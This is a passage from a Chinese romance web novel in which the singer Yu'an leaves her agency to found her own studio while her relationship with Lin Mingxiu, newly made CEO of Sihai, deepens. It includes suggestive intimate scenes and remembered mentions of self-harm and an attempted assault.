柚安想到梁太的话,还是忍不住笑,看到商务装扮,沉冷严肃起来的林鸣修,不禁心想,他要是吃软饭就好了,给他锁家里,跟布偶猫一样养起来,惹哭了再哄好。 林鹤堂走过来跟梁太打招呼,林鸣修走在他斜后方,一前一后,看起来也不像父子也像师徒。 柚安在梁太之后站起来,喊“爸”。 林鹤堂微一颔首,不苟言笑地说:“你还有很多要学习的地方,多跟梁太太请教,不可以贪玩放任。” 突如其来的正经和官腔让柚安一时无法适应,林鸣修也是换了一副面孔,跟林鹤堂如出一辙,一看就知道师承于谁。 “好的。”柚安乖乖应道。 梁太笑道:“我能教她什么呀?光教她瞎胡闹。” 柚安就笑起来。 趁面前二人闲叙,她悄悄拿手机给林鸣修发微信:【你在公司跟在床上完全是两个样呢。】 林鸣修正在同林鹤堂二人说话,没空看手机,等到上台前,忽然想起来,拿起手机匆匆看了一眼,白皙禁欲的一张脸立时就红了。 还好他演讲时,将心中所想掩藏地很好,表现完美,但大脑也算是天人交战,超负荷运转,才堪堪能够集中精神了。 下来后,几名董事想找林鸣修聊,只见他远离人群,疏冷地靠在墙边,端着手机打字,一张没有情绪的脸,眉峰冷峻,极尽上位者的威严,叫人一时不敢靠近。 他正在给柚安发:【回去你死定了。】 结果当晚,果真说到做到。 直到看见柚安眼尾泛红,又害怕起来。 “你要哭啦?”他停下来,双臂撑着,心疼又后悔,大颗的汗滴下来。 “……傻子。”柚安环住他脖子,将头埋在他颈窝里,那感觉说不出口。 第二天醒来,林鸣修提议去旅行。 柚安笑他说:“人家新官上任三把火,你新官上任人不见了。” “你不是放大假吗?”他怕她天天关在家里胡思乱想,又忍不住去看评论,看营销号编的小黄文。 她这家伙看上去胆大荒唐不认输,实则内心千疮百孔成什么样子,就连他也不敢说完全清楚。他总觉得,柚安活在水天交接处,不小心托着,就会悄无声息地往下溺。 “不了,我今天要去趟公司。”柚安快速穿好衣服,捡了最贵的一套。 她的新专辑已经写出两首歌了,原计划现在该进棚了,可是如今,已经谈妥的制作团队被撤回,制作人也已读不回,柚安咽不下这口气,带了七张银行卡去跟公司谈解约。 同一间会议室,依旧是商务部负责人,还有艺人运作部总监,和几位公司高层。 他们原本只想冷藏柚安一段时间,让风波过去,再看形势。 如果互联网真的没有记忆,就发个动态试试水,反对声不大就继续运作她;如果这事闹得太厉害,舆论抵制她的倾向太明显,那就只能无限期冷藏下去。 一开始,网上是骂得凶,但林鸣修正式出任四海CEO后,风向就有些转变了。 况且柚安一向对出生缄口不提,这不意味着经纪公司可以轻易拿捏林家大小姐。 已经打算将试水提前的,一听说柚安来谈解约,他们就着急了,会议室里,姿态放得很低。 谈判到最后,公司屡屡妥协,甚至答应即刻启动新专的录制。 但是柚安已经考虑清楚,而且酒吧的收益,以及她这些年出歌演出赚的钱,也让她有了进退的资本,不用有任何顾虑。 “我打算成立个人工作室,我们江湖再见,依旧是朋友,有什么困难随时向我提,我个人、林氏,都会是你们的朋友。” 她没有撕破脸,给了经济公司极高的脸面,违约金一分钱没有含糊,甚至在最后逐个跟高管、同事说,添麻烦了。最后以请全公司下午茶作为告别,正式出走。 这样一来,经纪公司亦给足体面,为她发了份极尽人情味的通告,并断了往后竞争市场,搞小动作的心。 跟团队告别时,小助理哭了,问:“还能跟你吗?” 柚安想了想说:“我现在可能请不起助理了,等工作室赚了钱,再把你请回来。” 小助理哭得稀里哗啦。 跟车雪齐道别时,两个人都没有笑脸,车雪齐握着拿铁,问:“你不再想想?” “我想好几天了。” “两天。”车雪齐伸出两根手指,“这么冲动,以后有你后悔的。” “我自己就能当制作人,自己也能写词、写曲、编曲,可以录音、混音、可以录贝斯、录吉他……这不是两天就可以学成的本事。” “好了好了知道你牛了!”车雪齐低头笑出来。 又过了几天,车雪齐去柚安的酒吧找她喝酒。 她抱着一个装私人物品的大盒子,是刚从公司离职、打包出来的。 “你会这会那,宣发维权谈商务总该不会吧?缺个经纪人吧!” 柚安拿着酒杯闷笑,可怜巴巴地说:“我请不起你。” “得了吧,”车雪齐举杯撞她的杯子,“我准备把职业生涯毁你这儿了。” 第55章 还不到他的第一节指骨…… 往往弘大的愿景, 都有一个惨淡的开篇。 攒一个录音棚、找制作团队、找发行渠道、找投资,这些因为多年在这行浸淫,就自以为轻车熟路的事情,落地起来却困难重重。 即便是合作过的团队, 也没有几个敢把赌注压在柚安身上。她不止一次在跟人真金白银谈合作时, 听到“你叫你爸爸给你买一家经济公司玩儿多好啊, 何必费这劲呢”, “哟, 以为你在家谈恋爱呢,怎么这么快出来了?女孩子, 好好享受爱情不好吗?你林大小姐又不愁钱。”这样的话。 酒吧合作过的歌手和独立乐队倒是跃跃欲试,举手加入, 但是工作室雏形都还没有,哪里谈得上运作艺人呢? 车雪齐将奔波的事揽在自己身上, 让柚安回去好好把剩余几首歌做出来。 柚安只有这样做。 关起门来写歌, 相对来说是她的舒适区, 但也有一定风险。腕上那几道刻痕, 就是写歌时魔怔了弄的。她戴一条样式繁复的手链, 但其实遮掩不了什么,不过是掩耳盗铃罢了。 林鸣修在四海忙得不可开交, 几乎每天都是深夜才到家。多数时候柚安已经睡了, 有时睡在琴房, 有时睡在客厅,有时睡在草坪……就是没有好好睡在床上的时候。 这两天,她写歌写到灵感喷涌期,每时每刻都很亢奋,一整天黏在调音台, 对外界不闻不问。 林鸣修顶着夜色回到家,已经过了十二点了,柚安还在工作,电脑屏幕上密密麻麻的音轨交接,她头戴耳机,盯着花花绿绿的曲线,眼里燃着簇簇的火光。 林鸣修倚在门边,不动声色看了一会儿,问:“吃晚饭了吗?” 柚安这才意识到他回了,看他一眼,又重新盯回屏幕,嘴里嗫嚅,“你问什么?” 林鸣修走过去,将她耳机摘了,抬手合了电脑屏幕。 柚安眉心一跳,来不及发火,人先被打横抱了起来。 “我问你吃了饭没?”林鸣修一边说着,一边将人抱进卧室。 “我正弄到关键时候呢!” “不弄了,睡觉。”他将人放到床上,掀起被子盖住。 吃饭、睡觉,柚安最不喜欢有人管她闲事。 妨碍她写歌,那更是踩在雷区上。 此刻被困在他双臂之间,她心烦意燥,伸手掰他的胳膊,蹙眉道:“我想睡了自然会去睡,你管太多了吧!” 林鸣修捉住她手腕,目光一横,被她腕上的旧痕吸引,表情渐渐凝住。仿佛那也是他抹不去的伤痕,那疼痛,只需要瞧一眼,就会被唤醒。 柚安看见他心疼的眼神,又顺着他的目光看到自己的手腕,闭了嘴。 “睡了。”他亲亲她的额头,声音闷哑,贴着耳畔,带着哄溺的意味。 柚安不死心地说:“你不也经常整晚……” 后半句被吞没在男人的唇舌之间。 让她发不出声音之后,他稍稍退开看她,眼里还有不服,他无奈地笑了笑,又偏头亲上去。 柚安渐渐闭上眼睛,放弃挣扎。 她手腕被擒着,举过头顶,那道旧疤痕被林鸣修的拇指摩挲着,不愿意承认的往事像老电影回放,画面逐渐模糊,不堪的记忆被握着自己的那只手接纳、安抚,化作钝钝的安全感。 林鸣修的另一只手隔着睡衣向下,她喜欢拿他的T恤当睡衣,宽大的白色棉质短袖笼在身上,里面除了内裤,没有穿任何。 柚安曾经端着他的手,合掌比较,还不到他的第一节指骨。 “你的手怎么这么大。” 现在这只手隔着睡衣,辗转于让她害羞的各处。她感觉得到他在隐忍,吻也只是浅尝辄止,但大腿挨着的某处,却极为昭彰。 她故意迎上去,林鸣修的呼吸骤然深了,他忍着喘息退开,声音几分黯哑,“很晚了,你不累吗?” 柚安环住他的脖子,顺势吻上去。 一刹的迟疑之后,林鸣修加深了这个吻,舌尖交缠,那双大手不再隔着睡衣。 一番缠绵后,那件白色棉质短袖被扔在地上,他的吻深深浅浅地向下。 这些天的冷眼与嘲笑,白日里纠缠不清的音轨、网格与参数,如潮汐般褪去。 柚安觉得自己像只摊开来的海星,任海浪亲吻、抚慰,一层接着一层,让她僵硬冷却的身体重新变得柔软而温热。在最后,被激烈地一拥,带进深海。 就这样挺好的,她褪去所有,随着漩涡一起向下陷。 夜里,林鸣修翻了个身,下意识一搂,手中没有任何东西。 他猛然睁眼,柚安不在床上。 披了件衣服下楼,发现她正坐在院子的台阶上,盯着将明未明的天空。 身上穿着他的白T恤,长发如瀑,披散开来,一双赤脚陷在草里,脚边的布偶猫翻着肚皮,毫无防备。 沉寂没落的背影,与她盯着工作时的亢奋模样反差鲜明,林鸣修屏息站定,未敢上前。 默默看了她很久,直到天际出现一线澄明,金光照拂,他才走到她身边,伸臂将她搂进怀里,问:“想什么呢?” 柚安回头的一瞬间,眼神像断片似的,里头一汪水雾。她随即仰头去吻他,他摸到她的身体凉凉的,便用力将她合进怀里,身体圈住。 现在是早上六点,离林鸣修去公司,还有两个小时,他将柚安重新按到床上,对她的睡眠质量颇为不放心。 “什么时候你才能一次性睡八个小时?”他问。 柚安合着眼,“你上次睡够八个小时,是什么时候?” 林鸣修思考这个问题的时候,柚安抱着他的手掌睡着了,轻浅的鼻息喷在他手心里,痒痒的。 动身去公司前,他着人做好三餐,定时送到家里。 傍晚时分,四海顶层会议室,一个冗长的作战会议开了四个小时还没有结果。 这对林鸣修来说是常态。 与会者趁吃饭时间去茶歇室泡咖啡,活动筋骨,林鸣修独自坐在会议桌中间的席位,盯着文件,大脑还在高速运转。 手中的三明治只吃了一口,想起来吃第二口时,低头看了看惨白的生菜叶子,没了胃口。 “他们都准备好了,随时可以开始第二段会议。”Kim敲门汇报。 林鸣修掀眼,看了一眼落地窗外的天空,深蓝的暮色像海一样,极静极沉。 “几点了?”他问。 Kim看了看表,说:“七点整。” 几个与会成员陆续走进会议室,快速坐定,电脑屏幕渐次亮起。 林鸣修垂眸片刻,说:“散会吧,明早再开。” “可是明早约了乘风集团荣总的早茶 ,要谈……” “推了,约他来总公司谈。就这样。”林鸣修往后靠在椅背上,见没人敢走,笑问,“怎么?都不想回家?” 助理团是最后离开的,离开的时候还不敢相信,习惯了老板的雷霆风格,这还是阎王第一次开恩。 林鸣修经过众人,阔步往外走。 如果他也这么紧绷的话,怎么有办法让柚安轻松一点呢? 他开车赶回家里,几次不小心超速。 饭菜果然都摆在玄关没动,柚安像长在了工作室,各种乐器、设备、琴谱与歌词本将房间塞得无地落脚,她坐在地上,拿着一张画得凌乱不堪的曲谱,意识游走天外。 大概是跟某一段旋律,一句歌词较上劲了,陷在里面出不来。 这经历林鸣修没有,但柚安有过。 “我以为他不肯跟我唱,是因为歌写得不好,就使劲地改。要在综艺上拿来比赛晋级嘛,时间也有限,环境一逼,人就是这么容易想不开……” 他记得柚安说过这样的话,一字一句都记得。 听过这话以后,就无数次在脑海想象那个场景。 喜欢一个人的时候,想把她吃过的糖,捱过的刀子,都以肉身体察一遍,无法控制的偏执。 “柚安——”他上前将她提起来,夺去那张谱子,将她的脑袋按进怀里,双臂合紧。 怀里的人一颤,接着,像被拉出水面般大口地呼吸,胸口一起一伏,抱紧他,像抓一根救命稻草。 “现在不一样了,”林鸣修说,“不一样了……” 意识随着这个严丝合缝的拥抱,逐渐回笼。 反复将自己困在那个场景中的自己,随着意识回笼而脱困了。 柚安双手环住林鸣修的腰,慢慢合拢,将手腕上那根缠缠绕绕的银链一揭,放手,让它掉在地板上,丁零当啷一声响。 良久,林鸣修松开手臂,低头细细查看她,看她的神色有没有异常,看她的手腕,各处有没有损伤。他不知道一个陷入不良情绪的人会做些什么,只但愿她不要伤害自己。 看着他的模样,柚安恍惚回到少年时的一次。 高中的时候,她喜欢上地下摇滚,瞒着家里出来玩。那个圈子,对她这种家世和样貌都很惹眼的女生来说,其实很危险。 她不时被人盯上,嫉妒她的,或是爱慕她的。 所幸乐队里其他成员都会自觉保护她。 一次她落单,被几个不怀好意的人堵住了,拉扯过程中撞到了脸,磕破了膝盖,她打开钱夹,将卡和现金都撒了出去,撒完就跑,跑到街上,看见自家的车开来,这才得救。 林鸣修发现她不对劲,就下车查看她的脸,皱眉问:“是谁弄的?” 那群人没走,在远处看着,他们身上带着弹簧刀,也不怕。 柚安一向对林鸣修疏远,被他这样凑近看着,一股子赧然,赶紧摇头,说:“算了,走。” 那时林鸣修就知道了,她并没有叛逆地多彻底,骨子里是知道自己身份的,也知道自己这样,在给家里丢脸,所以被欺负了也不敢将事情闹大。 他往远处一看,就看到几个可疑分子,他们见他只有一个人,就将刀亮了出来,拿在手里把玩。 “走了。”柚安拉他袖子。 他将柚安送进车里,弯腰帮她系好安全带,关好车门,然后过去将人全揍了。 柚安没有看到这一幕,因为他是拖到后巷去揍的,整个过程,连西服外套的扣子都没有解。 那些人,她再也没见到过。 她一直记得这件事,是因为林鸣修当时查看她伤势时,那双没有温度的眼睛里,骤然流露出担心、焦急和隐隐的愤怒,他不敢检查地太细,看得太久,也不敢问得太多,这让他的焦急扩大到无处可藏。 “看着我做什么?你吃过饭没有?”林鸣修的话让她回过神来。 “没什么,等你检查完,我的主治大人。”她脸红着说,现在,他想检查多久都可以。 林鸣修哑然失笑,再次将她合进怀里,“没别的,就是太瘦了。” 他拉她出去,为她准备吃的。来不及脱掉一身商务装扮,只将腕表摘了搁在一边,衬衣袖子挽起一半,边斩烧鹅边说:“今晚别工作了,陪我好不好?” “陪你做什么?” 他想了想,“吃饭、溜猫、睡觉。” 第56章 沉迷于她那时的表情 由于晚饭没有出力, 饭后,柚安就想帮忙洗碗。 林鸣修将她拦下了,他非常熟练地将碗筷涮一遍,放进洗碗机里, 再用抹布擦干台面的水渍, 这期间, 门铃响了, 柚安趿着拖鞋去开门。 她吃饭的时候, 忽然想要吃甜品,林鸣修就让人送了个六寸蛋糕过来, 勺子递给她,随便挖着吃。 “我是女明星诶。” “吃吧, 没事。” 抹茶味的蛋糕,表面像铺着雨后的青苔。 柚安将勺子插进中央, 转了个圈, 挖出来一球, 一小口一小口地吃。 收拾好厨房, 她还在吃, 林鸣修就冲了个澡,独自去外面院子。 路过时, 顺手抓了抓她发顶。 柚安含着甜点勺, 含混不清地问:“洗完了?” “嗯, 去外面坐坐。”林鸣修拿下她嘴里的勺子,弯腰亲了亲她嘴角。 虽然提前下班,但Kim还是尽职地发来了整理好的会议纪要。 林鸣修打开手机查看,布偶猫经过,他将其捞进怀里, 顺势曲腿坐下,一边不经意地盘猫,一边看会议纪要。 小猫窝在他小臂里,像一团柔软的棉花糖,面朝向他,四肢伸展,被抱婴儿的姿势抱着,在他怀里不吵也不闹,乖巧地看着他,任他手指逗弄。 柚安吃饱喝足,出来坐在他旁边。他就将手机关了放到一边,腾出手来搂她。 漫天星辰闪耀,像张嵌满钻石的织毯。 “蛋糕合胃口吗?”林鸣修问。见她手背蹭了点奶油,很自然地拉到嘴边舔了。 “是我吃过最好吃的。” “你就没吃过几次蛋糕吧,女明星?”林鸣修笑。 被他说中了,柚安说:“国外留学的时候,有次考试压力大,考完后,发泄似地吃了一整个三磅重的蛋糕,当晚胃里像泥石流,从此以后很长一段时间,看到蛋糕就会生理不适。” “你总这样。”林鸣修皱眉。扭头往里看了一眼,担心悲剧重演。 “放心吧,我没吃完。”柚安说。 林鸣修转回头,目光在她脸上逡巡了一番,伸手刮了刮她的脸,“你不在的这几年,在外头是怎样过的?” “你想知道什么?” “什么都想知道,空白了七年,我受不了。” 柚安笑笑,在记忆里搜刮一番,说:“没有什么值得一提的。” “不好的事情也可以告诉我……你想说的话。” 从头开始又搜刮了一遍,发现人生中合该是最美丽,最鲜嫩的七年,居然惨淡到回忆起来,没有一个有色彩的画面。 她说:“出国之前,我对自己的所谓天赋,是很骄傲的,出国之后,发现周围的人都是天才;出国之前,自以为一身反骨,出国之后,发现周围的人都是疯子。原来我那么普通,我开始害怕,不接受隐没在尘埃里,就没日没夜,拼命地努力……现在想起来,年轻时那股子无知无畏的傲气,很难再捡回来了。” “是吗?我怎么觉得你一点没丢呢?可能都用在我身上了。” 柚安就笑了,话匣子打开,她想起来什么说什么,将七年中间,大大小小的事都捋了一遍。 一些不愿意回想的记忆——譬如鬼迷心窍参加了那个酒局,结果被送进了皮耶的房间,经纪人暗示过她要做什么,但当白人老头带着熏臭难闻的酒气朝她扑过来时,她来不及想,就动手了,等到回过神来,已经是满目鲜血——也很自然地说了出来。 林鸣修则很安静,很认真地听着,仿佛真心要将他缺失的那七年,一块一块拼好。 即便早已被柚安扔进垃圾桶的碎片,也很小心珍藏。 “还有什么?”听了很多,他还不知足,“交给我,你就不用再去想了。” 他双手撑在身后,柚安靠在他肩头并坐,小猫“呜”一声滚到草坪上。 柚安看了眼时间,不知不觉两小时过去了。 “我能想到的都说了。” 连有次拼盘演出,意外吃到超级好吃的盒饭,都捡起来说了。 但是还不想走,可能是贪恋院子里,温柔地夜风吧。 她看星星时,林鸣修就看着她,长久地安静,她开口时,声音混在风里,几分缥缈。 “其实那时候,我去看过医生的。” 林鸣修怔了会儿,“什么时候?” “把瘟神皮耶送走之后,我退圈出国之前……那会儿满城风雨,我觉得,有点不对劲,就去精神科挂了个号……其实,那段记忆模模糊糊的,想说也说不完整了……反正最后,我拿到了诊断结果,那个结果很荒谬,几个心理测试题,外加一堆脑电波、眼动测试,就可以判定我有病吗?我不懂,也不接受。医生跟我说了什么,我完全不记得。那阵子,就像在水底下,说话的人在水上面,声音闷闷的,从我身边流过,进不了脑子。” “后来呢?”林鸣修伸手抱住她。 “后来更荒谬了。医生说可以吃药,也可以心理咨询,我当然不吃药了,吃药不是承认了自己有病?我挂了咨询的号,遇到了一个无良医生。那个中年女医生,没听我说完一句话,就露出不及其耐烦,甚至是厌恶的神情。见她这样,我就说不出话来了,她也不说话,时而盯着电脑,时而看我一眼。沙漏在桌上流着,我们一直僵持,我不敢看她的眼睛,那种明显轻视的神情,我不知道是为了什么。可能她觉得我无病呻吟,可能她认识我,看过我的新闻,可能是我自己敏感,错做出了错误的解读……我坐在那里想,不知道哪里做错了。最后,我受不了了,起身夺门而出,所有的病例资料都落在桌子,我不敢回头去拿。回家了才发现,身份证和医保卡也丢了,不知道哪个环节丢的,那阵子,就是这么稀里糊涂。” 林鸣修拇指抚在她肩头,习惯性地摩挲,很久很久都没有出声。 然后他哼一声笑了出来。 良久,柚安也哧出一口气,她捏着他的下巴,看进他的眼睛,“谢谢你给了这个故事一个不错的结尾。” 原来人们常说的轻舟已过是这样的,耿耿于怀的屈辱再想起来,笑一笑了不起了。 林鸣修侧头吻了吻她的额角,“哪个医生?我也去咨询咨询。” “哪里记得啊,当时那个状态。” 又是一阵沉默,就在这最后一片回忆,在沉默里渐弱、退场之际,林鸣修侧过头,垂眸看向她,低低地问:“那你哭了吗?” 柚安转头迎向他的目光,那不单纯是心疼或是怜惜,而是感同身受地,接管了这段回忆。 她没有回答,林鸣修已知晓答案。 他偏头去吻她,轻得像蝴蝶扇动了一下翅膀,接着抬手掌住她后颈,唇瓣细致地碾吮,一下一下,像小猫在舔人。 停下这个吻后,仍贴近地、专注地看着她。 “你想知道我这七年吗?”半晌,他问。 柚安想了想,笑着摇头,“不用你说,我都能猜得出来。” 他的生活,可以用一段简洁的程序,加上一个以天为周期的循环来描述,不管七天还是七年,都日复一日,精准无误地运行。 “真的不想听?”林鸣修有点失望,“那你说,我看你说得对不对。” 柚安说:“每天跟我爸学些厚黑学,然后出去坑蒙拐骗地实践。” 林鸣修愣了两秒,大笑着躺倒草地上。 “我也就算了,你就是这样看爸的?”一时没注意,说岔了称呼,然而已经笑到没有心力收回。 原来他笑起来这样好看,这样,有生命力。 “你有过少年时期吗?”柚安忽然这样问。 在她的记忆里,不管是七年前,还是十年前,或者是更久远,他都是一成不变的。他没有一个成长的过程,至少在柚安眼里,永远是成算颇深的模样。那些热烈、天真、烂漫,好像在相识以前,就已经被他杀死了。 “没有。”林鸣修率然承认。 人是会一瞬间苍老的,当他喜欢上了一个不可能的人。 “你笑的时候,就很有少年感。就像刚刚,”柚安将路过的猫拎起来,“像它一样。” 林鸣修似乎被说地不好意思,抬手,将手背贴在额头上。 “你喜欢吗?” 柚安说:“喜欢。” 他脸就红了。 一看表,快十二点了,赶紧推柚安去睡觉。 他刷床,柚安抱着睡衣进浴室洗澡。 门关上后片刻,又被打开一条缝,柚安探出个脑袋。 “怎么了?”林鸣修以为她落了什么。 柚安没说话,以目光相邀。 空气凝滞了一段不短的时间,林鸣修出声说:“我提早回家,是想让你睡个好觉的。” 柚安垂眸,门慢慢地阖上。 林鸣修深长地吁一口气。 说出那句拒绝,几乎忍到胃部痉挛。 然而平顺过呼吸之后,他望向那扇静悄悄的门,心中忽然若有所感,门后的人并没有走,仍然在作无声的相邀。 莫名就有这样的错觉,毫无科学依据地,他觉得自己疯了,亦或是色令智昏。 当胃部痉挛的感觉第二次隐隐来袭之时,他大步走过去,推开了浴室的门。 证实了这个感觉。 早睡的愿望破灭了。 睡觉的愿望也几乎是破灭了。 但至少,他们拥有了一个美妙的夜晚。他沉迷于柚安的一切,沉迷于她那时的表情,只有在这个时候,她才会卸下一切伪装,将脆弱和需要他的一面表现出来。 她会细细地呜咽,像溺水者一样紧紧抓住他,在他怀里颤栗,一张楚楚动人的脸浸湿在潮红里,在被他盯着时,羞怯赧然地躲开他的目光。 他忍不住将她的脸扳过来,在她喘不过气时,用力地吮吻,像是要夺走她全部的呼吸。 …… 很不幸地,回味这一切的时候,林鸣修正身处四海的董事会议。 就在身为CEO的他,给董事们汇报完这一季盈利,落下结束语的一瞬间,目光瞥到低头看资料的柚安,脑子就浑掉了。 “顾总?顾总??” 被喊了几声,这才回神。 所幸他心旌荡漾之时,面庞看上去仍然冷峻矜持,虽然耳尖红着,但隔着镜片,那双疏离,没有温度的眼睛,依旧能将旁人的怀疑镇住。 然而不知自己走神了多久,也不知说到了哪里。 别人等他发话,他依寻心中所想,下意识抛出句:“听懂了吗?” 语气低沉温和。 目光不自觉扫向柚安那边。 柚安疑惑地抬头,目光相遇,林鸣修再次意识到错了,急忙振作精神,将场面应付过去。 轮到各中心负责人汇报时,林鸣修仍旧心神浮荡,柚安看见,忍不住悄悄发信息问:【想什么呢?还好爸去深圳视察了,不然肯定当众让你好看。】 林鸣修手机一震,反正是集中不了心神了,索性点开来看。 看完信息,他又看了眼柚安,无奈笑笑,回说:【想你,色令智昏。】 柚安发来一个抹汗的表情。 他继续回:【想听具体的吗?】 接着脸不红心不跳地打了几行字。 柚安手机一震,随手捞过来一看,脸红到滴血。 第57章 像只生扑过来的巨型犬类…… 初夏, 傍晚,浅水湾网球场。 林鸣修跟人打完网球,坐在场边喝水闲谈。 Kim递来文件与几分将要签署的合同。 对面的季琮明略一过目,将文件拍在桌上, “跟你合作这么久, 还用看么, 我这就签了。” 林鸣修一笑, “季总新婚燕尔, 容光焕发,是我沾光了。” 一下子点到季琮明的兴头, 后者便开始绘声绘色地讲述起,小十二岁的二婚妻子如何的“不懂事”, 给他惹了多少麻烦。 诸如正在开国际视讯会议,小姑娘穿着清凉, 拿着玩具就闯进来了, 此类等等。 林鸣修漫不经心地扫视合同, 眉峰一挑说:“哥就别炫耀了。” 季琮明猪肉色的脸笑成一朵花, 倾身凑近问:“你酸了?” 林鸣修笑笑不说话。 “也是, ”季琮明端起冒着凉气的玻璃杯,往椅背上一靠说, “你那个妹妹, 前两天拉投资拉到我这儿了。” 林鸣修签了一半的手一顿, 目光从文件上移开,看向季琮明。 “她找过你?” “是她那个合伙人车雪齐找的我,我这才知道,她踹了经纪公司单干呀,你说哪个家大业大的千金像她这么折腾的?要钱找她爸不就行了吗?” 季琮明说到这里收了声, 忽然想到,极有可能是跟林鸣修搞在一起,惹怒了林鹤堂,所以大小姐才要不到钱的。 他转而笑着说:“本来看在你的面子上,我应该二话不说投下去的,但是我没投。” “为什么?” “还是为了你呀,”季琮明将杯子重重搁在桌上,压低声音说,“你不怕她生意做起来,心思活泛了,跟其他人跑了呀?要我说,你这步棋下得可真够险,她跑了,林鹤堂肯定不会把四海交给你。到时候,你岂不是人财两空?” 说完,发现林鸣修盯着他,那眼神和平时有些不太一样。 季琮明骤然觉得冷,而对方顿住的笔下,已经洇开一小片墨渍。 见这状况,Kim眼疾手快地收回了合同,“抱歉抱歉,是我疏忽了,没有准备备份,回公司后,立马准备一份新的,呈给两位重签。” 季琮明并未察觉这急转直下的气氛,还以为林鸣修被他点拨,产生了危机感,正在思考策略,因此很是志得意满。 “我把话让车雪齐带回去了,”他继续说,“说柚安这身份,抛头露面已经很尴尬了,拉不到投资的。” Kim站在一旁头皮发麻,老板这个眼神,分明已经在设想对方的一百种死法了。 靠着他耗尽洪荒之力的应变,最后终于有惊无险分开了两位老板。 半小时后,路虎停在体育场门前,司机下车为林鸣修开门。 Kim拎着运动装备包上了副驾,林鸣修换了身商务装扮,坐在后座,上车后扯了扯领带,眉宇间笼上一层阴翳。 Kim提心吊胆地提醒他:“一会儿八点还有一个饭局,谈港隆城的项目。” 柚安此刻正在广州参加音乐节,这两天林鸣修一个人在港城,便将晚上的时间排满了。 “不去了。”林鸣修说。 车缓停在路边,司机与Kim下了车,林鸣修一人开车,往港珠澳大桥的方向行去。 路灯次第亮起,昏黄的光漫过挡风玻璃,把路边深绿色的阔叶照得发亮,他盯着那片晃动的影子,喉结动了动。 九点,柚安从音乐节离开,保姆车驶向酒店。 车上,车雪齐不平地说:“我说哪个天王巨星让我没谈成压轴呢,原来是个刚出道两年的电鳗小子。哪条潜规则写了,解约等于降咖的?搞不懂了。” “没事,我唱得比他好。”柚安淡笑着说。 到达酒店,电梯升到顶楼,柚安跟车雪齐道了别,刷房卡进房间,锁门。 她累得不愿再走一步,仰面往床上一趟,心头浮起名字被灯牌照亮的幸福感。 想给林鸣修打个电话,但他此刻应该在饭局上。只是抓着手机犹豫了几秒,人就睡着了。 睡梦中,她恍惚听见脚步声。 有人走到床边,帮她脱掉鞋,然后是袜子。 那体温和气息如此真实,令她半醒。半醒之际,好想好想一个人的感觉,将无根的思绪渐渐填满。 已经习惯了,数不清的时候,演出完独自回到酒店,第二天在陌生的城市,陌生的床榻上醒来,她从未感到过孤单。就是刚才精疲力尽睡去之时,也没有半点自怜自艾。 怎么做了个梦,梦到他了,竟突然孤单起来?孤单到难过,孤单到委屈? 她翻了个身,将脸埋在枕头里,想要消解这种情绪。 而那气息凑近了。 接着便听到林鸣修低低的声音问:“醒了?” 柚安猛然睁开眼,不确定是梦是醒。 她下意识抓住他的小指,使劲捏了捏,男人皱眉,说:“疼。” 柚安彻底醒过来,坐起身问:“你怎么进来的?” “找雪姐拿的卡。”林鸣修就着床头夜灯看了看她,手指梳了梳她头发,“抱歉弄醒你了,睡吧,换了睡衣再睡,舒服些。” “……你是来看我睡觉的?” “我是来陪你睡觉的。”手掌在她后脑,稍微用了点力,将她的脸靠近,吻住她的唇。 昏暗的灯光下,一切都静了声。 柚安呼吸微滞,尝到了甜甜的味道。 “你是不是吃了糖?” “我一向这么甜。”林鸣修边吻边说。 说完又觉得这话太羞耻了,自己先不好意思笑出来。 片刻后,他稍稍退开,眼底还染着情欲,却平声说:“你先睡,我还有点事忙。” 柚安目光在他脸上流转一番,知道他是不愿剥夺自己的休息时间,便抿唇“嗯”了声。 换睡衣的时候,林鸣修坐在灯下的阴影里。 她背过身去,薄雾般的微光下,蝴蝶骨像要长出翅膀。 “工作室筹备地怎么样了?”林鸣修别开目光,开口问道。 提到工作室,柚安就兴奋起来,两三下穿好衣服,“跟你说,我们找到地方了,设备也都谈好了,暂时是五人小团队,请了一名助理、一名账号运营、一名录音助理。” “场地多少钱?启动资金够吗?” “拉不到投资,我把酒吧抵押了,”柚安爽快地说,“银行的资产评估已经下来了,对了,你帮我看看吧,违约条款、利率、还款周期这些,我自己看过了,看不出问题来。” 她下巴指了指床对面的书桌,上头铺满了文件和合同有的纸被画得密密麻麻。 “好。” 林鸣修脱下外套,平展地叠好,边走边将衬衣袖口松开卷起,三两下将狼藉的桌面清干净,文件也被理得整整齐齐,一丝不乱。他坐下来,一秒钟进入专注状态。 四周安静极了,偶尔的翻页声中,柚安打了个哈欠,安心地睡去。 不知睡了多久,迷迷糊糊醒来,仍是深夜。 床对面的桌上一盏台灯,林鸣修坐在灯下看着文件,他宽阔的后背挺立,肩线绷得很直,微微低头,修长的手指扫过页面,将纸张翻起。 他推了饭局,千里奔赴,必定不是来帮自己看文件的,一看还看到半夜。想到这里,柚安感到有点抱歉。 迟疑了会儿,她爬到床头,从后搂住他,“看得怎么样了,有没有坑?” 林鸣修毫无防备,下意识拉过手腕,要将人摔出去,发现是她后,立即收了力道,只将她往身上带了带,转了个身面对她,看着她的眼睛问道:“你就没想过找我吗?” 柚安面露不解。 林鸣修蹙眉道:“我能提出比银行更有优势的条件,这样吧,都不用你抵押,只需要按季度分红给我,我还能为你制定更好的发展策略,介绍资源……” 柚安笑起来,“得了吧,你连个董事会议都开不好,还要跟我合伙呢。” 林鸣修深吸一口气,将文件码齐往桌上一搁,将人提溜进被子里盖好。 “睡觉,不许再醒了。” 他也有点困了,揉了揉眉心,上床,像往常那样从后拥着她。 后者的枕头旁边,还放着那个旧旧的胡桃夹子木偶,林鸣修伸手越过柚安,摸了摸木偶,“跑音乐节还带着啊……咦,修好了?” 它残破的一条腿崭新如初,比以往更加神气,坐在枕边,像个英勇的小卫士。 柚安轻嗯了声。 林鸣修默了默,缓缓开口道:“小白眼狼……” 柚安眼睫扑扇,嘴唇贴着他环在胸前的手臂,没作声。 …… 柚安儿时便有很多玩伴,因为长着一张洋娃娃似的脸蛋,性格随性不怯生,走到哪里都是众星拱月的小公主。人人都喜欢她,她跟谁都能玩得开心,但对谁也都不亲密。 从四岁到七岁,她喊林鸣修“嘘哥哥”。 后者拒绝接受这个名字,说喊“哥哥”就行了。 喊林景琛他们,都是喊“景琛哥哥”、“景昀哥哥”,喊“哥哥”的就只有这么一个。 如此听话是因为,林鸣修小的时候就表现出“老成”,不像柚安身边的人,一个劲对她笑。 他不爱笑,不笑的样子还有些吓人。 